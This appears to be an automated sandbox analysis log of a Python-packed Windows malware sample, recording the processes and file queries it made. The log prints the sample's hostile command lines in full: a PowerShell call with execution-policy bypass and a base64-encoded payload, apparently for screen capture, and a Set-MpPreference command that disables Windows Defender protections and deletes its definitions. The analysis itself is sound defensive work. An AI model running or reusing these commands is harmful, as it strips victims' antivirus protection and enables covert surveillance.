Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe

Code function: 72_2_00007FF71D2FB340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

72_2_00007FF71D2FB340

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Code function: 0_2_00007FF7B111A420 cpuid

0_2_00007FF7B111A420

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\libcrypto-1_1.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\libssl-1_1.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\python311.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI76002\base_library.zip VolumeInformation	Jump to behavior
